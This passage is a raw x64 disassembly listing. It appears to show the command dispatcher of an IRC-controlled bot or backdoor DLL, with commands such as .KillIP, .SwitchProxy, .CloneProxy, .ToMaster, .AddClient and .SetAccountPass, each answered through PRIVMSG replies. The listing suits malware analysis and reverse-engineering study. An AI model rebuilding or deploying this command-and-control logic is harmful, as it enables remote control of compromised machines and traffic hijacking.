call fcn.180053060
cmp eax, r14d
jne 0x180046858
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 8
je 0x1800467d5
cmp edi, 9
je 0x1800467d5
lea r8, str.PRIVMSG__s_:__s__Account_Enable_Disable___s__r_n
lea rcx, [rsp + 0x540]
mov r9, rsi
mov rdx, r12
mov qword [rsp + 0x20], rbp
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ebp, dword [rsp + 0x80]
jmp 0x180043ac3
mov rbx, qword [rsp + 0x108]
lea rdx, str.Enable
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180046810
lea rdx, str.Disable
mov rcx, rbx
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
jne 0x180043abe
mov ecx, r14d
cmp edi, 9
jne 0x180046835
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov r9, rbx
mov rdx, rsi
call fcn.180021b24
jmp 0x18004a158
lea rdx, str..SMC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ab44
lea rdx, str..STC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ab44
lea rdx, str..SBC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ab44
lea rdx, str..KillUser
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004aa78
lea rdx, [0x180079db0]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004aa78
lea rdx, str..KillIP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004696e
cmp edi, 7
je 0x180046904
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.18001213c
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
mov ebx, eax
jle 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
lea r8, str.PRIVMSG__s_:Kill_Source_IP__d_Times_r_n
jmp 0x180044588
lea rdx, str..KillDIP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046a0c
cmp edi, 7
je 0x1800469a2
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.1800121d0
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
mov ebx, eax
jle 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
lea r8, str.PRIVMSG__s_:Kill_Dest_IP__d_Times_r_n
jmp 0x180044588
lea rdx, str..KillDPort
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046aaa
cmp edi, 7
je 0x180046a40
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.180012078
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
mov ebx, eax
jle 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
lea r8, str.PRIVMSG__s_:Kill_Dest_Port__d_Times_r_n
jmp 0x180044588
lea rdx, str..Online
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046b54
mov esi, r14d
cmp edi, 7
jne 0x180046aff
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov esi, eax
jmp 0x180046b16
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
call fcn.18001573c
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
movzx ebx, ax
cmp ebx, esi
jb 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
lea r8, str.PRIVMSG__s_:Online__d_Days_r_n
jmp 0x180044588
lea rdx, [0x180079ce4]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046bcb
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180046bb1
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180024248
jmp 0x18004a158
lea r8, str.PRIVMSG__s_:.ML_Account_r_n
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
jmp 0x1800453df
lea rdx, [0x180079cc4]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046c31
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180046c28
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002403c
jmp 0x18004a158
lea r8, str.PRIVMSG__s_:.LL_Account_r_n
jmp 0x180046bb8
lea rdx, [0x180079ca4]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046c9a
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180046c8e
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180023dd0
jmp 0x18004a158
lea r8, str.PRIVMSG__s_:.FA_Account_r_n
jmp 0x180046bb8
lea rdx, [0x180079c80]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046d32
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
je 0x180046cf0
cmp edi, 8
je 0x180046cf0
lea r8, str.PRIVMSG__s_:.LI_Account___s__r_n
jmp 0x180046bb8
mov r9d, r14d
cmp edi, 8
jne 0x180046d16
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r9d, r14d
cmp eax, r14d
sete r9b
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180023c24
jmp 0x18004a158
lea rdx, str..DDA
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046dbd
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 6
je 0x180046d83
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043abe
mov r8d, r14d
cmp edi, 7
jne 0x180046da9
mov rcx, qword [rsp + 0x100]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r8d, r14d
cmp eax, r14d
sete r8b
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800239c8
jmp 0x18004a158
lea rdx, [0x180079c50]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046e55
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
je 0x180046e13
cmp edi, 8
je 0x180046e13
lea r8, str.PRIVMSG__s_:.DA_Account___s__r_n
jmp 0x180046bb8
mov r9d, r14d
cmp edi, 8
jne 0x180046e39
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r9d, r14d
cmp eax, r14d
sete r9b
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800215a4
jmp 0x18004a158
lea rdx, [0x180079c28]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a9ae
lea rdx, str..DEOP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a9ae
lea rdx, str..BAN
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a9ae
lea rdx, str..UNBAN
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a9ae
lea rdx, str..KICK
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046f43
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r9, qword [0x18009b3e8]
mov rcx, qword [0x180097630]
cmp eax, r14d
lea rax, [0x180079c04]
lea r8, str.KICK
cmove rbx, qword [rsp + 0xf0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x100]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.180025728
jmp 0x1800442c3
lea rdx, str..PRIVMSG
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047060
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jb 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov r13, qword [rsp + 0xd0]
call fcn.180053060
lea rcx, [rsp + 0x28f1]
mov r8, r12
cmp eax, r14d
mov byte [rsp + 0x28f0], r14b
cmove r13, qword [rsp + 0xf0]
xor edx, edx
call fcn.180052810
mov r12d, 0x3fe
mov esi, 6
sub r12d, edi
cmp edi, esi
jbe 0x18004701a
lea rbp, [rsp + 0x100]
mov rcx, qword [rbp]
call fcn.1800529c0
lea rcx, [rsp + 0x28f0]
mov rbx, rax
call fcn.1800529c0
add ebx, eax
cmp ebx, r12d
jae 0x18004701a
mov rdx, qword [rbp]
lea rcx, [rsp + 0x28f0]
call fcn.1800530d0
inc esi
cmp esi, edi
jae 0x180047012
lea rdx, [0x18007a57c]
lea rcx, [rsp + 0x28f0]
call fcn.1800530d0
add rbp, 8
cmp esi, edi
jb 0x180046fc7
mov r9, qword [0x18009b3e8]
mov rcx, qword [0x180097630]
lea rax, str.No_Way
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28f0]
lea r8, str.PRIVMSG
mov rdx, r13
mov qword [rsp + 0x20], rax
call fcn.180025728
mov ebp, dword [rsp + 0x80]
or r13, 0xffffffffffffffff
jmp 0x180044909
lea rdx, str..DGARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800470eb
cmp edi, 6
je 0x180047089
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8d, r14d
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x1800470d7
mov rcx, qword [rsp + 0x100]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r8d, r14d
cmp eax, r14d
sete r8b
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003c168
jmp 0x18004a158
lea rdx, str..DARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047183
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
je 0x180047141
cmp edi, 8
je 0x180047141
lea r8, str.PRIVMSG__s_:.DARP_Account___s__r_n
jmp 0x180046bb8
mov r9d, r14d
cmp edi, 8
jne 0x180047167
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r9d, r14d
cmp eax, r14d
sete r9b
mov rdx, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r8, rbx
call fcn.1800258c4
jmp 0x18004a158
lea rdx, str..TGRP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800471ea
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18003e270
jmp 0x1800442c3
lea rdx, str..TestUser
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a930
lea rdx, str..TestUserB
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a930
lea rdx, str..CheckUser
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800472e9
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 7
je 0x180047283
cmp edi, 8
je 0x180047283
lea r8, str.PRIVMSG__s_:.CheckUser_UserName___s__r_n
mov r9, rsi
lea rcx, [rsp + 0x540]
mov rdx, r12
call fcn.1800528fc
jmp 0x1800467ac
mov ebx, r14d
cmp edi, 8
jne 0x1800472a5
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete bl
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r9d, 1
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.18003c064
xor r9d, r9d
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.18003c064
jmp 0x18004a158
lea rdx, str..SwitchProxy
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047358
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18002c4e0
jmp 0x1800442c3
lea rdx, str..CloneProxy
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800473cf
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18002c68c
jmp 0x1800442c3
lea rdx, str..Reload
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004743a
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
call fcn.18003ca30
mov r9, rbx
mov dword [rsp + 0x20], eax
lea r8, str.PRIVMSG__s_:_d_Accounts_Has_Been_Reloaded_r_n
jmp 0x180044ca5
lea rdx, str..Switch
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800474a9
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18002ce98
jmp 0x1800442c3
lea rdx, [0x180079afc]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x1800474d1
lea rdx, [0x180079af8]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047515
cmp edi, 6
jne 0x180047515
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
mov r8, rbp
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.1800264f4
jmp 0x18004a158
lea rdx, str..SetAccountGlobalProxyEnable
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a8a5
lea rdx, str..SAG
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a8a5
lea rdx, str..SetAccountName
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a81a
lea rdx, str..SAN
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a81a
lea rdx, str..SADE
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047618
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x1800475cb
cmp edi, 9
je 0x1800475cb
lea r8, str.PRIVMSG__s_:.SADE_Account_NewInfo___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x1800475f0
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002127c
jmp 0x18004a158
lea rdx, str..SATN
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800476bb
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004766e
cmp edi, 9
je 0x18004766e
lea r8, str.PRIVMSG__s_:.SATN_Account_NewInfo___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x180047693
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002d534
jmp 0x18004a158
lea rdx, str..SAID
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004775e
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x180047711
cmp edi, 9
je 0x180047711
lea r8, str.PRIVMSG__s_:.SAID_Account_NewInfo___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x180047736
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002d948
jmp 0x18004a158
lea rdx, str..SetAccountPass
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a78f
lea rdx, str..SAP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a78f
lea rdx, str..SetAccountBindedIP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a704
lea rdx, str..SAB
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a704
lea rdx, str..SetAccountBufferSize
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a641
lea rdx, str..SABS
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004a641
lea rdx, str..IsSlave
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047858
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
lea r8, str.PRIVMSG__s_:Is_On_Slave_Now_r_n
cmove rbx, qword [rsp + 0xf0]
mov r9, rbx
cmp dword [0x18009b6bc], r14d
jne 0x1800453df
lea r8, str.PRIVMSG__s_:Is_Not_On_Slave_Now_r_n
jmp 0x1800453df
lea rdx, str..StopSlave
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800478a8
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18002efa8
jmp 0x18004a158
lea rdx, str..ToMaster
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047962
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
mov rcx, qword [rsp + 0x108]
call fcn.180054324
mov rcx, qword [rsp + 0x100]
mov edx, eax
call fcn.18000f87c
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
lea r8, str.PRIVMSG__s_:Connect_To_Master_Successfully_r_n
cmp eax, r14d
jne 0x180044446
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_Master_r_n
jmp 0x180044446
lea rdx, str..TestProxy
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047a9d
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x1800479bd
cmp edi, 0xa
je 0x1800479bd
cmp edi, 0xc
je 0x1800479bd
lea r8, str.PRIVMSG__s_:.TestProxy_RemoteHost_RemotePort__UserName___Password__r_n
jmp 0x180046bb8
xor eax, eax
mov ebp, r14d
mov r12, r14
mov r13, r14
mov si, ax
cmp edi, 0xc
je 0x1800479d5
cmp edi, 0xa
jne 0x180047a17
mov r12, qword [rsp + 0x110]
mov r13, qword [rsp + 0x118]
mov ebp, 1
cmp edi, 0xc
jne 0x180047a17
mov rcx, qword [rsp + 0x128]
mov r14, qword [rsp + 0x120]
call fcn.18000496c
test eax, eax
je 0x180047a6f
mov rcx, qword [rsp + 0x128]
call fcn.180054324
mov esi, eax
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
test eax, eax
je 0x180047a94
mov rcx, qword [rsp + 0x108]
call fcn.180054324
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], ebp
mov r9d, eax
mov rdx, rbx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
call fcn.180037184
xor r14d, r14d
jmp 0x180047050
lea r8, str.PRIVMSG__s_:The_Target_Port_Must_Be_Digit_r_n
mov r12d, 0x3ff
lea rcx, [rsp + 0x540]
mov r9, rbx
mov rdx, r12
call fcn.1800528fc
jmp 0x18004b03f
lea r8, str.PRIVMSG__s_:The_Remote_Port_Must_Be_Digit_r_n
jmp 0x180047a76
lea rdx, str..ListIP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047af2
cmp edi, 6
jne 0x180047af2
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18001ff48
jmp 0x18004a158
lea rdx, [0x180079c50]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047bd7
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180047bcb
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
cmp eax, r14d
je 0x180047bbf
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov edi, eax
cmp eax, r14d
jbe 0x180047bb3
lea rcx, [rsp + 0xc8]
mov dword [rsp + 0xc8], r14d
call fcn.180005ea0
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
je 0x180043abe
cmp edi, dword [rsp + 0xc8]
ja 0x180047ba7
mov rcx, qword [0x180097630]
lea r8d, [rdi - 1]
mov rdx, rbx
call fcn.18001e344
jmp 0x1800442c3
lea r8, str.PRIVMSG__s_:The_Index_Is_Out_Of_Bound_r_n
jmp 0x180044438
lea r8, str.PRIVMSG__s_:The_Account_Number_Must_Bigger_Than_Zero_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:The_Account_Number_Is_Invalid_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:DA_AccountNumber_r_n
jmp 0x180046bb8
lea rdx, str..AddClient
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047cc2
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 0xa
lea rdi, [0x18009b400]
jne 0x18004413b
xor edx, edx
lea rcx, [rsp + 0xa41]
mov byte [rsp + 0xa40], r14b
lea r8d, [rdx + 0x7f]
call fcn.180052810
mov esi, 0x80
lea rcx, [rsp + 0xa40]
mov r8, rsi
xor edx, edx
call fcn.180052810
lea rcx, [0x18009ae70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9, qword [rsp + 0x118]
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
lea rax, [rsp + 0xa40]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call fcn.18003d744
lea rcx, [0x18009ae70]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0xa40]
jmp 0x1800442ae
lea rdx, str..DelClient
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047d8d
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x18004413b
xor edx, edx
lea rcx, [rsp + 0xdc1]
mov byte [rsp + 0xdc0], r14b
lea r8d, [rdx + 0x7f]
call fcn.180052810
mov edi, 0x80
lea rcx, [rsp + 0xdc0]
mov r8, rdi
xor edx, edx
call fcn.180052810
lea rcx, [0x18009ae70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0x100]
lea rdx, [rsp + 0xdc0]
mov r9, rbx
mov r8d, edi
call fcn.18000df08
lea rcx, [0x18009ae70]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0xdc0]
jmp 0x1800442ae
lea rdx, str..EmptyClient
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047e01
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x18004413b
call fcn.18000deb4
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
lea r8, str.PRIVMSG__s_:TEmpty_List_Successfull_r_n
jmp 0x180044438
lea rdx, str..ShowClient
